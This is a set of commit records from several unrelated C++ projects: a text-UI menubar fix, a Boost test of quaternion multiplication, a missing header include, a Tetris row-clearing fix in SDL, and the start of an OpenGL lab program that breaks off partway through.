Tui::add(std::shared_ptr<AComponent> const& c)\n{\n if(std::dynamic_pointer_cast<Menu>(c)) {\n m_menus.push_back(c);\n return;\n }\n m_built.assign(\"\");\n assert(m_current < m_ctrls.size());\n m_ctrls[m_current].push_back(c);\n}\n\nvoid Tui::ln()\n{\n m_built.assign(\"\");\n m_ctrls.resize(m_ctrls.size() + 1);\n m_current++;\n}\n\nvoid Tui::width(int const w)\n{\n m_width = w;\n}\n\nint Tui::build()\n{\n int max_width = m_width - 1 - 2;\n for(size_t i = 0; i < m_ctrls.size(); ++i) {\n int line_width = 3;\n ComponentDriver drv;\n drv.line = 0;\n if(m_ctrls[i].size() == 0) continue;\n drv.width = max_width \/ m_ctrls[i].size();\n drv.height = 1;\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n int w = m_ctrls[i][j]->width(drv);\n if(w < 0) line_width++;\n else line_width += 1 + w;\n }\n if(line_width > max_width) max_width = line_width;\n }\n\n std::stringstream s;\n\n \/\/ title bar\n s << ' ' << std::string(max_width - 2, '_') << ' ' << std::endl;\n s << \"|X|_\" << m_name << std::string(max_width - 4 - m_name.size() - 4, '_') << \"_|+|\" << std::endl;\n \/\/s << '|' << std::string(max_width - 2, '-') << '|' << std::endl;\n s << \"|\";\n int menuWidth = max_width - 1 - 2;\n ComponentDriver scratch01;\n for(std::vector<std::shared_ptr<AComponent> >::iterator i = m_menus.begin();\n i != m_menus.end(); ++i)\n {\n if(menuWidth < (*i)->width(scratch01)) break;\n s << '-';\n menuWidth -= 1 + (*i)->width(scratch01);\n s << (*i)->str(scratch01);\n }\n s << std::string(menuWidth, '-');\n s << \"-|\" << std::endl;\n\n for(size_t i = 0; i < m_ctrls.size(); ++i) {\n int max_height = 0;\n ComponentDriver drv;\n if(m_ctrls[i].size() == 0) {\n s << \"|\" << std::string(max_width - 2, ' ') << \"|\" << std::endl;\n continue;\n }\n drv.width = max_width \/ m_ctrls[i].size();\n drv.line = 0;\n drv.height = 1;\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n int h = m_ctrls[i][j]->height(drv);\n if(h > max_height) max_height = h;\n }\n drv.height = max_height;\n\n \/\/ compute width of variable width components\n std::vector<int> widths(m_ctrls[i].size(), 0);\n float max_weight = 0.0f;\n int remaining = max_width - 3;\n bool haveVariableWidthComponents(false);\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n remaining--;\n int w = m_ctrls[i][j]->width(drv);\n if(w > 0) {\n widths[j] = w;\n remaining -= w;\n } else {\n max_weight += m_ctrls[i][j]->my_weight();\n haveVariableWidthComponents = true;\n }\n }\n int splitremaining = remaining;\n struct {\n size_t idx;\n int val;\n } min = { -1, INT_MAX };\n if(haveVariableWidthComponents)\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n int w = m_ctrls[i][j]->width(drv);\n if(w <= 0) {\n widths[j] = splitremaining * m_ctrls[i][j]->my_weight() \/ max_weight;\n if(widths[j] < min.val) {\n min.idx = j;\n min.val = widths[j];\n }\n remaining -= widths[j];\n }\n }\n if(haveVariableWidthComponents && remaining) {\n widths[min.idx] += remaining;\n remaining = 0;\n }\n for(int h = 0; h < drv.height; ++h) {\n drv.line = h;\n s << \"|\";\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n drv.width = widths[j];\n s << \" \" << m_ctrls[i][j]->str(drv);\n }\n if(remaining) {\n s << std::string(remaining, ' ');\n }\n s << \" |\" << std::endl;\n }\n }\n\n s << \"|\" << std::string(max_width - 2, '_') << \"|\" << std::endl;\n\n m_built.assign(s.str());\n\n return 0;\n}\n\nchar const* const Tui::str() const\n{\n return m_built.c_str();\n}\n<commit_msg>don't print menubar line if no menu entries are present<commit_after>#include \"tui.h\"\n#include <assert.h>\n#include <climits>\n\nvoid Tui::add(std::shared_ptr<AComponent> const& c)\n{\n if(std::dynamic_pointer_cast<Menu>(c)) {\n m_menus.push_back(c);\n return;\n }\n m_built.assign(\"\");\n assert(m_current < m_ctrls.size());\n m_ctrls[m_current].push_back(c);\n}\n\nvoid Tui::ln()\n{\n m_built.assign(\"\");\n m_ctrls.resize(m_ctrls.size() + 1);\n m_current++;\n}\n\nvoid Tui::width(int const w)\n{\n m_width = w;\n}\n\nint Tui::build()\n{\n int max_width = m_width - 1 - 2;\n for(size_t i = 0; i < m_ctrls.size(); ++i) {\n int line_width = 3;\n ComponentDriver drv;\n drv.line = 0;\n if(m_ctrls[i].size() == 0) continue;\n drv.width = max_width \/ m_ctrls[i].size();\n drv.height = 1;\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n int w = m_ctrls[i][j]->width(drv);\n if(w < 0) line_width++;\n else line_width += 1 + w;\n }\n if(line_width > max_width) max_width = line_width;\n }\n\n std::stringstream s;\n\n \/\/ title bar\n s << ' ' << std::string(max_width - 2, '_') << ' ' << std::endl;\n s << \"|X|_\" << m_name << std::string(max_width - 4 - m_name.size() - 4, '_') << \"_|+|\" << std::endl;\n \/\/s << '|' << std::string(max_width - 2, '-') << '|' << std::endl;\n if(m_menus.size()) {\n s << \"|\";\n int menuWidth = max_width - 1 - 2;\n ComponentDriver scratch01;\n for(std::vector<std::shared_ptr<AComponent> >::iterator i = m_menus.begin();\n i != m_menus.end(); ++i)\n {\n if(menuWidth < (*i)->width(scratch01)) break;\n s << '-';\n menuWidth -= 1 + (*i)->width(scratch01);\n s << (*i)->str(scratch01);\n }\n s << std::string(menuWidth, '-');\n s << \"-|\" << std::endl;\n }\/* else {\n s << '|' << std::string(max_width - 2, ' ') << '|' << std::endl;\n }*\/\n\n for(size_t i = 0; i < m_ctrls.size(); ++i) {\n int max_height = 0;\n ComponentDriver drv;\n if(m_ctrls[i].size() == 0) {\n s << \"|\" << std::string(max_width - 2, ' ') << \"|\" << std::endl;\n continue;\n }\n drv.width = max_width \/ m_ctrls[i].size();\n drv.line = 0;\n drv.height = 1;\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n int h = m_ctrls[i][j]->height(drv);\n if(h > max_height) max_height = h;\n }\n drv.height = max_height;\n\n \/\/ compute width of variable width components\n std::vector<int> widths(m_ctrls[i].size(), 0);\n float max_weight = 0.0f;\n int remaining = max_width - 3;\n bool haveVariableWidthComponents(false);\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n remaining--;\n int w = m_ctrls[i][j]->width(drv);\n if(w > 0) {\n widths[j] = w;\n remaining -= w;\n } else {\n max_weight += m_ctrls[i][j]->my_weight();\n haveVariableWidthComponents = true;\n }\n }\n int splitremaining = remaining;\n struct {\n size_t idx;\n int val;\n } min = { -1, INT_MAX };\n if(haveVariableWidthComponents)\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n int w = m_ctrls[i][j]->width(drv);\n if(w <= 0) {\n widths[j] = splitremaining * m_ctrls[i][j]->my_weight() \/ max_weight;\n if(widths[j] < min.val) {\n min.idx = j;\n min.val = widths[j];\n }\n remaining -= widths[j];\n }\n }\n if(haveVariableWidthComponents && remaining) {\n widths[min.idx] += remaining;\n remaining = 0;\n }\n for(int h = 0; h < drv.height; ++h) {\n drv.line = h;\n s << \"|\";\n for(size_t j = 0; j < m_ctrls[i].size(); ++j) {\n drv.width = widths[j];\n s << \" \" << m_ctrls[i][j]->str(drv);\n }\n if(remaining) {\n s << std::string(remaining, ' ');\n }\n s << \" |\" << std::endl;\n }\n }\n\n s << \"|\" << std::string(max_width - 2, '_') << \"|\" << std::endl;\n\n m_built.assign(s.str());\n\n return 0;\n}\n\nchar const* const Tui::str() const\n{\n return m_built.c_str();\n}\n<|endoftext|>"} {"text":"<commit_before>#include <string>\n#include <iostream>\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE Model\n#include <boost\/test\/included\/unit_test.hpp>\n\n#include \"..\/inc\/model.hpp\"\nusing namespace Model;\n\nconst quat<float> R0{0}, R1{1}, \n\t i{0,1}, j{0,0,1}, k{0,0,0,1};\nconst dual<float> E0{R0}, E1{R0, 1}, \n\t Ei = E1*i, Ej = E1*j, Ek = E1*k;\n\nBOOST_AUTO_TEST_CASE(quaternions) {\n\tBOOST_CHECK_EQUAL(i*j, k);\n\tBOOST_CHECK_EQUAL(j*i,-k);\n}\n\nBOOST_AUTO_TEST_CASE(dual_quaternions) {\n\tBOOST_CHECK_EQUAL(E1*E1, E0);\n}\n<commit_msg>Began troubleshooting errors with test suites when *linking* (!) with Clang++.<commit_after>#include <string>\n#include <iostream>\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE Model\n#include <boost\/test\/included\/unit_test.hpp>\n\n#include \"..\/inc\/quat.hpp\"\n#include \"..\/inc\/dual.hpp\"\n#include \"..\/inc\/model.hpp\"\n\nusing namespace Model;\n\nconst quat<float> R0{0}, R1{1}, \n\t i{0,1}, j{0,0,1}, k{0,0,0,1};\nconst dual<float> E0{R0}, E1{R0, 1}, \n\t Ei = E1*i, Ej = E1*j, Ek = E1*k;\n\nBOOST_AUTO_TEST_CASE(quaternions) {\n\tBOOST_CHECK_EQUAL(i*j, k);\n\tBOOST_CHECK_EQUAL(j*i,-k);\n}\n\nBOOST_AUTO_TEST_CASE(dual_quaternions) {\n\tBOOST_CHECK_EQUAL(E1*E1, E0);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n#include <cstdlib>\n#include <fstream>\n#include <vector>\n#include <cmath>\n#include <sstream>\n#include <stdio.h>\n#include <unistd.h>\n#include <cstring>\n#include <sys\/wait.h>\n#include <algorithm>\nusing namespace std;\n\nBase::~Base()\n{\n}<commit_msg>forgot to include header<commit_after>#include <iostream>\n#include <string>\n#include <cstdlib>\n#include <fstream>\n#include <vector>\n#include <cmath>\n#include <sstream>\n#include <stdio.h>\n#include <unistd.h>\n#include <cstring>\n#include <sys\/wait.h>\n#include <algorithm>\nusing namespace std;\n\n#include \"Base.h\"\n\nBase::~Base()\n{\n}<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Created by JULIA BALAJAN on 3\/12\/2016.\n\/\/\n#include <random>\n#include <iostream>\n#include <algorithm>\n#include \"Game.h\"\n\nuint8_t Game::get_next_block() {\n static std::mt19937 generator(std::random_device{}());\n std::uniform_int_distribution<int> distribution(0,cCoord::max_coordinates);\n int val;\n for (val = distribution(generator); val == prev_block; val = distribution(generator))\n ;\n return val;\n}\n\nuint8_t Game::get_color_value() {\n static std::mt19937 generator(std::random_device{}());\n std::uniform_int_distribution<int> distribution(0, 255);\\\n return distribution(generator);\n}\n\n\n\n\/\/ Stores template for all the different tetris pieces\nconst cCoord Game::struct_coords[][cCoord::max_coordinates + 1] = {{\n \/* Row: 1 *\/ {0, 0}, {1, 0}, {2, 0},\n \/* Row: 2 *\/ {0, 1},\n },\n {\n \/* Row: 1 *\/ {0, 0}, {1, 0},\n \/* Row: 2 *\/ {0, 1}, {1, 1},\n },\n {\n \/* Row: 1 *\/ {0, 0},\n \/* Row: 2 *\/ {0, 1},\n \/* Row: 3 *\/ {0, 2},\n \/* Row: 4 *\/ {0, 3},\n },\n {\n \/* Row: 1 *\/ {1, 0}, {2, 0},\n \/* Row: 2 *\/ {0, 1}, {1, 1},\n },\n {\n \/* Row: 1 *\/ {1, 0},\n \/* Row: 2 *\/ {0, 1}, {1, 1}, {2, 1},\n }};\n\n\/\/ Stores the origins coords for all the different tetris pieces\nconst cCoord Game::struct_origins[cCoord::max_coordinates + 1] = {\n \/* L Shaped *\/ {0, 0},\n \/* Square shaped *\/ {0, 0},\n \/* Stick shaped *\/ {0, 0},\n \/* Stair shaped *\/ {1, 0},\n \/* T shaped *\/ {1, 1},\n};\n\nGame::Game() {\n create_block();\n}\n\n\n\ninline void Game::create_block() {\n structList.push_back(Structure(get_next_block()));\n}\n\nStructure& Game::get_last_block() {\n return *(structList.end() - 1);\n}\n\nbool Game::isGameOver() const {\n return gameOver;\n}\n\nstd::vector<Structure>& Game::getStructList() {\n return structList;\n}\n\nvoid Game::set_draw_color(const Structure &s) {\n SDL_SetRenderDrawColor(ren, s.red, s.green, s.blue, SDL_ALPHA_OPAQUE);\n}\n\nvoid Game::init() {\n\n \/\/ Initialise SDL_ttf\n if (TTF_Init() == -1) {\n std::cout << \"Unable to initialise SDL_ttf: \" << SDL_GetError() << std::endl;\n exit(1);\n }\n\n \/\/ Create window\n win = SDL_CreateWindow(\"Tetris\", SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED, screen_width, screen_height, SDL_WINDOW_SHOWN);\n if (win == nullptr) {\n std::cout << \"Window error: \" << SDL_GetError() << std::endl;\n exit(1);\n }\n\n \/\/ Create renderer\n ren = SDL_CreateRenderer(win, -1, SDL_RENDERER_PRESENTVSYNC | SDL_RENDERER_ACCELERATED);\n if (ren == nullptr) {\n std::cout << \"Renderer error: \" << SDL_GetError() << std::endl;\n SDL_DestroyWindow(win);\n exit(1);\n }\n\n \/\/ Create white background\n SDL_Rect screen;\n screen.x = 0;\n screen.y = 0;\n screen.w = screen_width;\n screen.h = screen_height;\n SDL_SetRenderDrawColor(ren, 255, 255, 255, SDL_ALPHA_OPAQUE);\n SDL_RenderFillRect(ren, &screen);\n\n \/\/ Initialise font\n constexpr int font_size = 48;\n font = TTF_OpenFont(\"pixelated.ttf\", font_size);\n if (font == nullptr) {\n std::cout << \"Font Initialisation Error: \" << SDL_GetError() << std::endl;\n cleanup();\n exit(1);\n }\n\n}\n\nvoid Game::draw () {\n SDL_SetRenderDrawColor(ren, 255, 255, 255, SDL_ALPHA_OPAQUE);\n SDL_RenderClear(ren);\n SDL_Rect dest;\n dest.w = tile_size;\n dest.h = tile_size;\n\n int x,\n y;\n\n for (y = 0; y < height; y++) {\n for (x = 0; x < width; x++) {\n\n \/\/ Cycle through x and y, if x and y match with block, draw block\n for (auto iter1 = structList.cbegin(); iter1 != structList.cend(); ++iter1)\n for (auto iter2 = iter1->coords.cbegin(); iter2 != iter1->coords.cend(); ++iter2)\n if (x == iter2->get_x() && y == iter2->get_y()) {\n set_draw_color(*iter1);\n dest.x = x * tile_size;\n dest.y = y * tile_size;\n SDL_RenderFillRect(ren, &dest);\n SDL_SetRenderDrawColor(ren, 0, 0, 0, SDL_ALPHA_OPAQUE);\n SDL_RenderDrawRect(ren, &dest);\n break;\n }\n }\n }\n\n const SDL_Color color = {0, 0, 0};\n SDL_Surface *font_surf = TTF_RenderText_Blended(font, (std::string(\"Score: \") + std::to_string(score)).c_str(), color);\n if (font_surf == nullptr) {\n std::cout << \"Font Rendering Error: \" << SDL_GetError() << std::endl;\n TTF_CloseFont(font);\n cleanup();\n exit(1);\n }\n\n SDL_Texture *font_texture = SDL_CreateTextureFromSurface(ren, font_surf);\n if (font_texture == nullptr) {\n std::cout << \"Create Font Texture Error: \" << SDL_GetError() << std::endl;\n TTF_CloseFont(font);\n SDL_FreeSurface(font_surf);\n cleanup();\n exit(1);\n }\n\n SDL_FreeSurface(font_surf);\n\n constexpr int padding = 17;\n int w,\n h;\n SDL_QueryTexture(font_texture, nullptr, nullptr, &w, &h);\n dest.w = w;\n dest.h = h;\n dest.x = screen_width - w - padding;\n dest.y = 0 + padding;\n\n SDL_RenderCopy(ren, font_texture, nullptr, &dest);\n\n SDL_RenderPresent(ren);\n}\n\nvoid Game::cleanup() {\n SDL_DestroyRenderer(ren);\n SDL_DestroyWindow(win);\n SDL_Quit();\n}\n\nvoid Game::controls (unsigned int &last_time) {\n unsigned long current_time = SDL_GetTicks();\n if ((current_time - last_time) > Game::wait_time_controls) {\n SDL_PollEvent(&events);\n if (events.type == SDL_KEYDOWN) {\n switch(events.key.keysym.sym) {\n case SDLK_UP :\n get_last_block().rotate_left(structList);\n break;\n case SDLK_DOWN :\n get_last_block().rotate_right(structList);\n break;\n case SDLK_LEFT :\n get_last_block().move_left(structList);\n break;\n case SDLK_RIGHT :\n get_last_block().move_right(structList);\n break;\n case SDLK_SPACE :\n while(!get_last_block().move_down(structList))\n ;\n break;\n case SDLK_ESCAPE :\n exit(0);\n break;\n }\n }\n if(events.type == SDL_QUIT)\n gameOver = true;\n last_time = SDL_GetTicks();\n }\n}\n\nvoid Game::destroy() {\n bool fall_flag = false; \/\/ Flag to indicate whether the blocks should fall\n bool row_destroyed_flag = false; \/\/ Flag indicating whether a row has been destroyed\n\n int row_to_destroy; \/\/ Y value indicating the row to be destroyed\n int row_counter[height]; \/\/ Counter, to know which row to destroy\n int rows_been_destroyed = 0; \/\/ Count of how many rows have been destroyed to be used when calculating fall distance\n\n do {\n row_destroyed_flag = false;\n \/\/ Set the counter to 0\n std::fill(std::begin(row_counter), std::end(row_counter), 0);\n\n \/\/ Iterate through all the blocks, check if there are any complete rows, if so, destroy them\n for (auto &s : structList)\n for (auto &b : s.coords) {\n \/\/ If there is a complete row\n if (++row_counter[row_to_destroy = b.get_y()] >= width) {\n \/\/ Destroy the blocks in the row\n ++rows_been_destroyed;\n for (auto &s : structList)\n for (auto block_iter = s.coords.begin(); block_iter != s.coords.end();) {\n if (block_iter->get_y() == row_to_destroy) {\n block_iter = s.coords.erase(block_iter);\n fall_flag = row_destroyed_flag = true;\n continue;\n }\n ++block_iter;\n }\n }\n }\n } while (row_destroyed_flag); \/\/ Re-iterate if a row was destroyed\n\n if (rows_been_destroyed <= 4)\n score += (100 * rows_been_destroyed);\n else if (rows_been_destroyed > 4)\n score += (200 * rows_been_destroyed);\n\n \/\/ If blocks have been destroyed, make the blocks above fall\n if (fall_flag) {\n \/\/ Iterate through the blocks, making the blocks above the destroyed row fall\n for (auto &s : structList)\n for (auto &b : s.coords)\n if (b.get_y() <= row_to_destroy)\n b.move_down(rows_been_destroyed); \/\/ Fall by how many rows have been destroyed\n }\n}\n\nvoid Game::gameOverChecker() {\n if(structList.size() < 2)\n return;\n Structure block = *(structList.end() - 2);\n for (auto iter1 = block.coords.cbegin(); iter1 != block.coords.cend(); ++iter1) {\n if (iter1->get_y() <= 1) {\n gameOver = true;\n cleanup();\n return;\n }\n }\n}\n\nbool Game::collision_detector_y(int x, int y, std::vector<Structure> &structList) {\n for (auto i1 = structList.cbegin(); i1 != structList.end() - 1; ++i1)\n for (auto i2 = i1->coords.cbegin(); i2 != i1->coords.cend(); ++i2)\n if (i2->get_y() == y && i2->get_x() == x)\n return true;\n return false;\n}\n\nbool Game::collision_detector_x(int x, int y, std::vector<Structure> &structList) {\n for (auto i1 = structList.cbegin(); i1 != structList.end() - 1; ++i1)\n for (auto i2 = i1->coords.cbegin(); i2 != i1->coords.cend(); ++i2)\n if (i2->get_x() == x && i2->get_y() == y)\n return true;\n return false;\n}\n\n\n\n\n\n\n<commit_msg>Fixed destroy method once and for all<commit_after>\/\/\n\/\/ Created by JULIA BALAJAN on 3\/12\/2016.\n\/\/\n#include <random>\n#include <iostream>\n#include <algorithm>\n#include \"Game.h\"\n\nuint8_t Game::get_next_block() {\n static std::mt19937 generator(std::random_device{}());\n std::uniform_int_distribution<int> distribution(0,cCoord::max_coordinates);\n int val;\n for (val = distribution(generator); val == prev_block; val = distribution(generator))\n ;\n return val;\n}\n\nuint8_t Game::get_color_value() {\n static std::mt19937 generator(std::random_device{}());\n std::uniform_int_distribution<int> distribution(0, 255);\\\n return distribution(generator);\n}\n\n\n\n\/\/ Stores template for all the different tetris pieces\nconst cCoord Game::struct_coords[][cCoord::max_coordinates + 1] = {{\n \/* Row: 1 *\/ {0, 0}, {1, 0}, {2, 0},\n \/* Row: 2 *\/ {0, 1},\n },\n {\n \/* Row: 1 *\/ {0, 0}, {1, 0},\n \/* Row: 2 *\/ {0, 1}, {1, 1},\n },\n {\n \/* Row: 1 *\/ {0, 0},\n \/* Row: 2 *\/ {0, 1},\n \/* Row: 3 *\/ {0, 2},\n \/* Row: 4 *\/ {0, 3},\n },\n {\n \/* Row: 1 *\/ {1, 0}, {2, 0},\n \/* Row: 2 *\/ {0, 1}, {1, 1},\n },\n {\n \/* Row: 1 *\/ {1, 0},\n \/* Row: 2 *\/ {0, 1}, {1, 1}, {2, 1},\n }};\n\n\/\/ Stores the origins coords for all the different tetris pieces\nconst cCoord Game::struct_origins[cCoord::max_coordinates + 1] = {\n \/* L Shaped *\/ {0, 0},\n \/* Square shaped *\/ {0, 0},\n \/* Stick shaped *\/ {0, 0},\n \/* Stair shaped *\/ {1, 0},\n \/* T shaped *\/ {1, 1},\n};\n\nGame::Game() {\n create_block();\n}\n\n\n\ninline void Game::create_block() {\n structList.push_back(Structure(get_next_block()));\n}\n\nStructure& Game::get_last_block() {\n return *(structList.end() - 1);\n}\n\nbool Game::isGameOver() const {\n return gameOver;\n}\n\nstd::vector<Structure>& Game::getStructList() {\n return structList;\n}\n\nvoid Game::set_draw_color(const Structure &s) {\n SDL_SetRenderDrawColor(ren, s.red, s.green, s.blue, SDL_ALPHA_OPAQUE);\n}\n\nvoid Game::init() {\n\n \/\/ Initialise SDL_ttf\n if (TTF_Init() == -1) {\n std::cout << \"Unable to initialise SDL_ttf: \" << SDL_GetError() << std::endl;\n exit(1);\n }\n\n \/\/ Create window\n win = SDL_CreateWindow(\"Tetris\", SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED, screen_width, screen_height, SDL_WINDOW_SHOWN);\n if (win == nullptr) {\n std::cout << \"Window error: \" << SDL_GetError() << std::endl;\n exit(1);\n }\n\n \/\/ Create renderer\n ren = SDL_CreateRenderer(win, -1, SDL_RENDERER_PRESENTVSYNC | SDL_RENDERER_ACCELERATED);\n if (ren == nullptr) {\n std::cout << \"Renderer error: \" << SDL_GetError() << std::endl;\n SDL_DestroyWindow(win);\n exit(1);\n }\n\n \/\/ Create white background\n SDL_Rect screen;\n screen.x = 0;\n screen.y = 0;\n screen.w = screen_width;\n screen.h = screen_height;\n SDL_SetRenderDrawColor(ren, 255, 255, 255, SDL_ALPHA_OPAQUE);\n SDL_RenderFillRect(ren, &screen);\n\n \/\/ Initialise font\n constexpr int font_size = 48;\n font = TTF_OpenFont(\"pixelated.ttf\", font_size);\n if (font == nullptr) {\n std::cout << \"Font Initialisation Error: \" << SDL_GetError() << std::endl;\n cleanup();\n exit(1);\n }\n\n}\n\nvoid Game::draw () {\n SDL_SetRenderDrawColor(ren, 255, 255, 255, SDL_ALPHA_OPAQUE);\n SDL_RenderClear(ren);\n SDL_Rect dest;\n dest.w = tile_size;\n dest.h = tile_size;\n\n int x,\n y;\n\n for (y = 0; y < height; y++) {\n for (x = 0; x < width; x++) {\n\n \/\/ Cycle through x and y, if x and y match with block, draw block\n for (auto iter1 = structList.cbegin(); iter1 != structList.cend(); ++iter1)\n for (auto iter2 = iter1->coords.cbegin(); iter2 != iter1->coords.cend(); ++iter2)\n if (x == iter2->get_x() && y == iter2->get_y()) {\n set_draw_color(*iter1);\n dest.x = x * tile_size;\n dest.y = y * tile_size;\n SDL_RenderFillRect(ren, &dest);\n SDL_SetRenderDrawColor(ren, 0, 0, 0, SDL_ALPHA_OPAQUE);\n SDL_RenderDrawRect(ren, &dest);\n break;\n }\n }\n }\n\n const SDL_Color color = {0, 0, 0};\n SDL_Surface *font_surf = TTF_RenderText_Blended(font, (std::string(\"Score: \") + std::to_string(score)).c_str(), color);\n if (font_surf == nullptr) {\n std::cout << \"Font Rendering Error: \" << SDL_GetError() << std::endl;\n TTF_CloseFont(font);\n cleanup();\n exit(1);\n }\n\n SDL_Texture *font_texture = SDL_CreateTextureFromSurface(ren, font_surf);\n if (font_texture == nullptr) {\n std::cout << \"Create Font Texture Error: \" << SDL_GetError() << std::endl;\n TTF_CloseFont(font);\n SDL_FreeSurface(font_surf);\n cleanup();\n exit(1);\n }\n\n SDL_FreeSurface(font_surf);\n\n constexpr int padding = 17;\n int w,\n h;\n SDL_QueryTexture(font_texture, nullptr, nullptr, &w, &h);\n dest.w = w;\n dest.h = h;\n dest.x = screen_width - w - padding;\n dest.y = 0 + padding;\n\n SDL_RenderCopy(ren, font_texture, nullptr, &dest);\n\n SDL_RenderPresent(ren);\n}\n\nvoid Game::cleanup() {\n SDL_DestroyRenderer(ren);\n SDL_DestroyWindow(win);\n SDL_Quit();\n}\n\nvoid Game::controls (unsigned int &last_time) {\n unsigned long current_time = SDL_GetTicks();\n if ((current_time - last_time) > Game::wait_time_controls) {\n SDL_PollEvent(&events);\n if (events.type == SDL_KEYDOWN) {\n switch(events.key.keysym.sym) {\n case SDLK_UP :\n get_last_block().rotate_left(structList);\n break;\n case SDLK_DOWN :\n get_last_block().rotate_right(structList);\n break;\n case SDLK_LEFT :\n get_last_block().move_left(structList);\n break;\n case SDLK_RIGHT :\n get_last_block().move_right(structList);\n break;\n case SDLK_SPACE :\n while(!get_last_block().move_down(structList))\n ;\n break;\n case SDLK_ESCAPE :\n exit(0);\n break;\n }\n }\n if(events.type == SDL_QUIT)\n gameOver = true;\n last_time = SDL_GetTicks();\n }\n}\n\nvoid Game::destroy() {\n bool fall_flag = false; \/\/ Flag to indicate whether the blocks should fall\n bool row_destroyed_flag = false; \/\/ Flag indicating whether a row has been destroyed\n\n int row_to_destroy; \/\/ Y value indicating the row to be destroyed\n std::vector<int> row_counter(height); \/\/ Counter, to know which row to destroy\n int rows_been_destroyed = 0; \/\/ Count of how many rows have been destroyed to be used when calculating fall distance\n\n do {\n row_destroyed_flag = false;\n \/\/ Set the counter to 0\n\n \/\/ Iterate through all the blocks, check if there are any complete rows, if so, destroy them\n for (auto &s : structList)\n for (auto &b : s.coords) {\n \/\/ If there is a complete row\n if (++(row_counter[b.get_y()]) >= width) {\n row_to_destroy = b.get_y();\n std::cerr << \"Counter: \" << row_counter[row_to_destroy] << '\\n';\n std::fill(row_counter.begin(), row_counter.end(), 0);\n \/\/ Destroy the blocks in the row\n ++rows_been_destroyed;\n for (auto &s : structList)\n for (auto block_iter = s.coords.begin(); block_iter != s.coords.end();) {\n if (block_iter->get_y() == row_to_destroy) {\n std::cerr << row_to_destroy << '\\n';\n block_iter = s.coords.erase(block_iter);\n fall_flag = row_destroyed_flag = true;\n continue;\n }\n ++block_iter;\n }\n }\n }\n } while (row_destroyed_flag); \/\/ Re-iterate if a row was destroyed\n\n if (rows_been_destroyed <= 4)\n score += (100 * rows_been_destroyed);\n else if (rows_been_destroyed > 4)\n score += (200 * rows_been_destroyed);\n\n \/\/ If blocks have been destroyed, make the blocks above fall\n if (fall_flag) {\n \/\/ Iterate through the blocks, making the blocks above the destroyed row fall\n for (auto &s : structList)\n for (auto &b : s.coords)\n if (b.get_y() < row_to_destroy) {\n b.move_down(rows_been_destroyed); \/\/ Fall by how many rows have been destroyed\n }\n }\n}\n\nvoid Game::gameOverChecker() {\n if(structList.size() < 2)\n return;\n Structure block = *(structList.end() - 2);\n for (auto iter1 = block.coords.cbegin(); iter1 != block.coords.cend(); ++iter1) {\n if (iter1->get_y() <= 1) {\n gameOver = true;\n cleanup();\n return;\n }\n }\n}\n\nbool Game::collision_detector_y(int x, int y, std::vector<Structure> &structList) {\n for (auto i1 = structList.cbegin(); i1 != structList.end() - 1; ++i1)\n for (auto i2 = i1->coords.cbegin(); i2 != i1->coords.cend(); ++i2)\n if (i2->get_y() == y && i2->get_x() == x)\n return true;\n return false;\n}\n\nbool Game::collision_detector_x(int x, int y, std::vector<Structure> &structList) {\n for (auto i1 = structList.cbegin(); i1 != structList.end() - 1; ++i1)\n for (auto i2 = i1->coords.cbegin(); i2 != i1->coords.cend(); ++i2)\n if (i2->get_x() == x && i2->get_y() == y)\n return true;\n return false;\n}\n\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/Lab 6\r\n\/\/modified from http:\/\/learnopengl.com\/\r\n#include <ctime>\r\n#include \"stdafx.h\"\r\n\r\n#include \"..\\glew\\glew.h\"\t\/\/ include GL Extension Wrangler\r\n#include \"..\\glfw\\glfw3.h\"\t\/\/ include GLFW helper library\r\n#include <stdio.h>\r\n#include <iostream>\r\n#include <string>\r\n#include <stdlib.h>\r\n#include <stdio.h>\r\n#include <vector>\r\n\r\n#include <fstream>\r\n#include \"glm.hpp\"\r\n#include \"gtc\/matrix_transform.hpp\"\r\n#include \"gtc\/type_ptr.hpp\"\r\n#include \"Building.h\"\r\n#include <..\\COMP371_Lab7\\objloader.hpp> \r\n#include \"..\\soil\\SOIL.h\"\r\n\r\nusing namespace std;\r\n\r\n\/\/ Window dimensions\r\nconst GLuint WINDOW_WIDTH = 1000, WINDOW_HEIGHT = 1000;\r\nconst GLfloat CAMERA_MOVEMENT_STEP = 2.20f;\r\nconst float ANGLE_ROTATION_STEP = 0.15f;\r\n\r\nglm::vec3 camera_position;\r\nglm::mat4 projection_matrix;\r\n\r\n\/\/Declaring global array\r\nvector<glm::vec3> vecBuildingCoordinate;\t\/\/coordinate of the building\r\nvector<glm::vec3> vecBuildingSize;\t\t\t\/\/building size\r\nvector<glm::vec3> vecBuildingColor;\t\t\/\/building color\r\nvector<glm::vec3> vecMapCoordinate;\t\t\/\/coordinate of the new maps (for procedural generator)\r\n\r\n\/\/Declaring the method signature\r\nglm::vec3 createBuilding();\r\nglm::vec3 createCoordinate();\r\nglm::vec3 createColor();\r\nfloat randomFloat(float a, float b);\r\n\r\nfloat y_rotation_angle = 0.0f, x_rotation_angle = 0.0f;\r\n\r\nvoid framebuffer_size_callback(GLFWwindow* window, int width, int height)\r\n{\r\n\tglViewport(0, 0, width, height);\r\n\r\n\t\/\/ Update the Projection matrix after a window resize event\r\n\tprojection_matrix = glm::perspective(45.0f, (GLfloat)width \/ (GLfloat)height, 0.1f, 1000.0f);\r\n}\r\n\r\nvoid key_callback(GLFWwindow* window, int key, int scancode, int action, int mode)\r\n{\r\n\tstd::cout << key << std::endl;\r\n\tif (key == GLFW_KEY_ESCAPE && action == GLFW_PRESS)\r\n\t\tglfwSetWindowShouldClose(window, GL_TRUE);\r\n\r\n\tif (key 